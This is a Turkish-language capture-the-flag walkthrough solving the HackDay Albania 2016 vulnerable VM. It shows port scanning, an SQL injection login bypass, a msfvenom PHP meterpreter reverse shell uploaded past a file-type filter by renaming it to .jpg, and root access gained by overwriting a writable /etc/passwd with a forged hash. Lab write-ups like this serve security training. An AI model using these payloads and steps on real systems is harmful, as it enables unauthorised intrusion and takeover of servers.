HackDay Albania Walktrough
Selam,
HackDay Albania CTF 2016’da kullanılan sanal makinanın tam çözümünü yaptık, sizlerle paylaşmak istedik. Keyifli okumalar.
HackDay Albania CTF
VM hakkında ayrıntılı bilgi alabileceğiniz ve indirme bağlantısını bulabileceğiniz link aşağıdadır
VM çözümü
İlk önce kendi sistemimizin nasıl bir ağ yapılandırması ile çalıştığını öğrenmek için
ifconfig
komutu ile kendi IP adresimizi ve Subnet Mask’ımızı öğrenip(192.168.1.0/24 ağında bulunuyorum)
nmap 192.168.1.1/24
komutunu kullanarak içinde bulunduğumuz ağda bulunan diğer cihazları bulmak için nmap aracını 192.168.1.1/24 ağına yönelik normal tarama yapması için çalıştırıyoruz. Tarama sonucunda, 192.168.1.10 IP adresine sahip hedefimizin üzerinde; 22 TCP portunda SSH, 8008 TCP portunda bir HTTP servisinin açık olduğunu keşfediyoruz.
Fakat normal taramada (ki bu top 1000 porttur) açık olmayan, ama servis verir durumda olan bir port olup olmadığını öğrenmek
için hedef sisteme standart tarama yerine birde ayrıca full port taraması yapıyoruz, böylelikle top 1000 port arasında olmayan ama servis verir yani açık durumda olan portları da tespit edebilriz.
Örnek olarak, kendi sistemimizde bulunan SSH servisini normalde hizmet vermesi gereken 22 numaralı porttan 1996 portuna taşırsak normal tarama ve full port tarama sonucu aşağıdaki gibi olacaktır.
nmap -n -p 1-65535 -sV 192.168.1.10 --open
komutu ile tüm açık TCP portlarını listeliyoruz ancak bunlara ek açık bir port göremiyoruz bunun üzerine HTTP portuna yönelip browserımızda
http://192.168.1.10:8080
adresine gitmeyi deniyoruz. 8008 portunu belirtmek zorundayız çünkü HTTP varsayılan portu 80 dir ve browser 80 portunu deneyeceği için hata alacaktır. Siteye girdiğimizde bizi Elliot Alderson yani nam-ı diğer Mr.Robot karşılıyor ve bilmediğimiz bir dilde yazılmış birkaç satır. Bu satırları google translateden çevirince çok anlamlı çıkmasa da arnavutça yazılmış olduğunu anlıyoruz ve yazıda nereye gideceğini bildiğini ifade ediyor. Sayfa kodlarında da birşey bulamayınca, hemen adresi Owasp ZAP aracında tarattığımızda birşey gözümüze çarpıyor:
robots.txt
içerisindeki adresleri denediğimizde de hep aynı sayfa ve kaynak kodlarında da ekstra birşey bulamıyoruz.
Fakat ortalara doğru
/unisxcudkqjydw
adresini girdiğimizde farklı bir sayfa ve bir ipucuyla karşılaşıyoruz
tabi hemen ipucunu değerlendirip sonuna ekliyoruz. Yani adresi
http://192.168.1.10:8008/unisxcudkqjydw/vulnbank/
haline getiriyoruz ve gelen sayfadaki client linkini denediğimizde de bizi çok güvenli olduğunu iddia eden bir banka karşılıyor. Tabiki aklımıza hemen SQL Injection geliyor ve tepki ölçmek adına kullanıcı ve parola kısmına birer tırnak(‘) koyuyoruz. Oltaya takılan balık ilk başta bizi çok heyecanlandırıyor.
MySQL servisi kullanıldığını ve istismar et beni dercesine bakan bir mesajı görüyoruz. Hemen büyük bir özgüvenle
' or '1' = '1
olarak bilinen genel yöntemi deniyoruz ancak çok da sazan olmadığını kanıtlarcasına bizi başta ürküten bir hata alıyoruz:
Invalid Credentials...
tabi ki pes etmeyip bikaç genel geçer yöntem daha deniyoruz ancak o bize, biz de ona bakıyoruz. Sonra yorum satırı haline getirsek nolur diye düşünüp username ve password’e:
' or 'aucc' = 'aucc';#
yazarak (sadece username’e yazıp password’ü gereksiz doldursanızda olur) SQL sorgusu kodunu doğru döndürüp kalan sorguyu yorum haline getiriyoruz ve 25000 euroluk hesabıyla bizi charles karşılıyor.
fakat gözümüz hala doymamış olacak ki sistem hedefinden şaşmayıp sağda duran Contact Support kısmında file selecti görünce kalbimiz çarpıyor. Tabi durmayıp
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw > aucc.php
ile 192.168.1.5 IP adresli Kali Linux makinemizin 4444 portuna yönlendiren bir php zararlı yazılımı, üretip onu da raw formatında aucc.php adında bir dosyaya yazıyoruz ve metasploitimizi de resimdeki gibi hazırlayıp
bizi renklerle kandıracağını düşünenlere de mesajımızı vererek aucc.php yi yüklemeye çalışıyoruz
fakat hacklendikten sonra artık sadece jpg ve türevi kabul ediyoruz diyerek bize kapıyı gösteriyor.
Biz de, al sana jpg diyip aucc.php nin adını aucc.jpg olarak olarak değiştirip yepyeni bir sticker göndermesiyle yüklüyoruz.
Ve dosyayı yedirmeyi başardık. Fakat msfconsole hala bekliyor yani bizim bu dosyayı açtırmamız lazım. bıraktığımız Ticket’ın üzerine tıklayıp, sistem aucc.jpg dosyasını açmaya çalışınca msfconsole da bir hareketlilik baş gösteriyor ve meterpreter konsolundayız. Bana göre sahte kısmı burada başlıyor çünkü normal sistemlerde karşımıza kolay kolay çıkmayacak olan olayla burada karşılaştım.
/etc/group
dosyasından sudo yetkisine sahip kullanıcılara baktığımda ‘taviso’yu görüp ona erişmeyi denesemde çözüm bu olmadığından başaramadım. Fakat dediğim gibi karşımıza kolay kolay çıkmayacak şekilde
/etc/passwd
doaysının izinlerine baktığımızda write iznini farkediyoruz. Tabi meterpreter üzerinden bunu editlemek biraz sancılı olacağı için
download /etc/passwd
ile Kali’ye hedef makinenin passwd dosyasını indiriyoruz. Eski linux sistemler şifreleri(hashlenmiş parolaları) de bu dosyada tutuyordu fakat daha sonra istismar edilebilirliği daha doğrusu “bruteforce” u engellemek adına şifreleri /etc/shadow a taşıyarak eskiden şifrelerin olduğu yere bir x bıraktılar ve bu yolla parola kontrolü için shadow a yönlendirme yaptılar. shadow un okuma iznide yalnız rootta olduğu için bence “şimdilik yeterince güvenli” bir işe imza attılar. Bu bilgiyi kullanarak
openssl passwd -1 -salt tuzlu aucc
ile passwd formatında md5(-1) tipinde tuzlu ile saltlanmış yani bruteforce u zorlaştırmak adına önlem alınmış ve parola olarak ‘aucc’nin hashini üretiyoruz ve çıktı olarak :
$1$tuzlu$LewyIW83SjgyBrkI29SWh0
alıp bunu herhangi bir editörde “taviso”nun yanındaki ‘x’ in yerine yapıştırıyoruz(x’i siliyoruz) ve kaydedip çıkıyoruz.
Root’un parolasını da değiştirebilik ancak ben sudo yetkili kullanıcıyı tercih ettim. Düzenlediğimiz bu dosyayı tekrar meterpreter’dan
upload passwd /etc/passwd
ile hedef sistemdeki passwd nin yerine yüklüyoruz. Artık SSH ile bağlanıp doğru düzgün bir shellde devam edebiliriz.
ile bağlantımızı kurup parola olarak
aucc
yazıyoruz ve içerdeyiz. Son olarak flagi /root dizininde bulup
cat /root/flag.txt
ile flag’i bastırıp flag’i gördüğümüze göre sanal makinemizde işimizi bitiriyoruz.
FLAG:
Urime,
Tani nis raportin!
(arnavutça "tebrikler, şimdi rapor başlıyor!" yazıyor ve flagi veriyor)
d5ed38fdbf28bc4e58be142cf5a17cf5